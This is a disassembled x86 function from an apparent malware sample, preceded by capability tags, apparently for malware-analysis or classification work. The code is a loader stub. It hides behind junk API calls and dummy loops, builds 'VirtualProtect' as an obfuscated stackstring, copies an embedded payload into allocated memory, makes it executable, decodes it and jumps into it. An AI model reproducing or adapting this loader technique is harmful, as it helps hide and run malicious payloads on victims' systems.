Function at 0x40209d
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Get system information on windows
Read .ini file
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd38
xor eax, eax
je 0x40217e
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
push str.wayuhumunicidu_ladi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0x28]
push 0x5c3f4
push 1
push 0x42b080
call fcn.0040944a
add esp, 0x10
push 1
push 3
lea ecx, [ebp - 0x138]
call fcn.00402d9b
push 0xff
lea ecx, [ebp - 0x128]
call fcn.00402b88
lea eax, [ebp - 0x138]
test eax, eax
je 0x402129
lea eax, [ebp - 0x138]
add eax, 0x10
mov dword [ebp - 0x20], eax
jmp 0x40212d
and dword [ebp - 0x20], 0
push str.pibawesa
push dword [ebp - 0x20]
call fcn.00406f2b
push ecx
push ecx
movsd xmm0, qword [0x4253d8]
movsd qword [esp], xmm0
call fcn.00409520
pop ecx
pop ecx
fstp qword [ebp - 0x4c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push 0
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea ecx, [ebp - 0x138]
call fcn.00402518
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x4299cc]
mov dword [0x42c0e4], eax
mov eax, dword [0x42c0e4]
add eax, 0xa2554
mov dword [0x42c0e4], eax
and dword [ebp - 0x14], 0
jmp 0x4021ab
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x2d0
jge 0x4021fb
cmp dword [ebp - 0x14], 0x122
jne 0x4021e6
push dword [0x42c0e4]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x42bcdc], eax
push str.VirtualAlloc
push dword [0x42c0e0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42bcd8], eax
cmp dword [ebp - 0x14], 0x26c0
jge 0x4021f9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
jmp 0x4021a4
and dword [ebp - 0xc], 0
jmp 0x402208
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x695114
jge 0x40222d
cmp dword [ebp - 0xc], 0x4c29b8
jne 0x40222b
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x4299c0]
mov dword [0x42c0e8], eax
jmp 0x402201
xor eax, eax
inc eax
shl eax, 3
mov byte [ebp + eax - 0x538], 0x72
xor eax, eax
inc eax
imul eax, eax, 5
mov byte [ebp + eax - 0x538], 0x61
xor eax, eax
inc eax
imul eax, eax, 9
mov byte [ebp + eax - 0x538], 0x6f
xor eax, eax
inc eax
imul eax, eax, 6
mov byte [ebp + eax - 0x538], 0x6c
xor eax, eax
inc eax
imul eax, eax, 0xb
mov byte [ebp + eax - 0x538], 0x65
xor eax, eax
inc eax
shl eax, 0
mov byte [ebp + eax - 0x538], 0x69
xor eax, eax
inc eax
imul eax, eax, 0
mov byte [ebp + eax - 0x538], 0x56
xor eax, eax
inc eax
shl eax, 2
mov byte [ebp + eax - 0x538], 0x75
xor eax, eax
inc eax
imul eax, eax, 7
mov byte [ebp + eax - 0x538], 0x50
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x538], 0x74
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x538], 0x74
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x538], 0x74
xor eax, eax
inc eax
imul eax, eax, 0xc
mov byte [ebp + eax - 0x538], 0x63
xor eax, eax
inc eax
shl eax, 1
mov byte [ebp + eax - 0x538], 0x72
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x538], 0
and dword [ebp - 4], 0
jmp 0x40230b
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x5d91e1a1
jge 0x4023a5
cmp dword [ebp - 4], 0x1630
jge 0x402333
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [ebp - 4], 0x9a6
jge 0x40234c
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
call dword [sym.imp.ole32.dll_OleLoadFromStream]
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
cmp dword [ebp - 4], 0x26538
jle 0x4023a0
cmp dword [ebp - 0x74], 0x170b5f6b
je 0x4023a0
cmp dword [ebp - 0x34], 0xdf790d0
je 0x4023a0
cmp dword [ebp - 0x58], 0x7040c746
je 0x4023a0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawCaption]
jmp 0x4023a5
jmp 0x402304
and dword [ebp - 8], 0
jmp 0x4023b2
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [0x42c0e4]
cmp dword [ebp - 8], eax
jae 0x402408
cmp dword [ebp - 8], 0x2473
jge 0x4023ed
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetupComm]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
mov eax, dword [0x42c0e8]
add eax, dword [ebp - 8]
mov al, byte [eax + 0xa2554]
mov ecx, dword [0x42bcdc]
add ecx, dword [ebp - 8]
mov byte [ecx], al
jmp 0x4023ab
mov dword [ebp - 0x1c], 0xbb
sub dword [ebp - 0x1c], 0x7b
and dword [ebp - 0x18], 0
jmp 0x402420
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x7f5110
jge 0x402472
cmp dword [ebp - 0x18], 0xbc5f92
jle 0x40243a
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
cmp dword [ebp - 0x18], 0x2c78a0
jne 0x402453
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x42c0e0], eax
cmp dword [ebp - 0x18], 0x26f9
jge 0x402470
push 0
lea eax, [ebp - 0xd38]
push eax
push str.De_cavawicewecotuwijaharoraju_cozibubajo_cejedamaca_viyeyojelefuwaho
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
jmp 0x402419
and dword [ebp - 0x10], 0
jmp 0x40247f
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x799c34
jge 0x4024ab
cmp dword [ebp - 0x10], 0x50536d
jne 0x4024a9
lea eax, [ebp - 0x538]
push eax
push dword [0x42c0e0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42bcd0], eax
jmp 0x402478
push str.VirtualProtect
push dword [0x42c0e0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42bcd0], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push dword [0x42c0e4]
push dword [0x42bcdc]
call dword [0x42bcd0]
push 0x4295c0
push dword [0x42c0e4]
push dword [0x42bcdc]
call fcn.00402081
nop
add dword [0x42c0e4], 0x388b2aff
call dword [0x42bcdc]
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov dword [eax + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10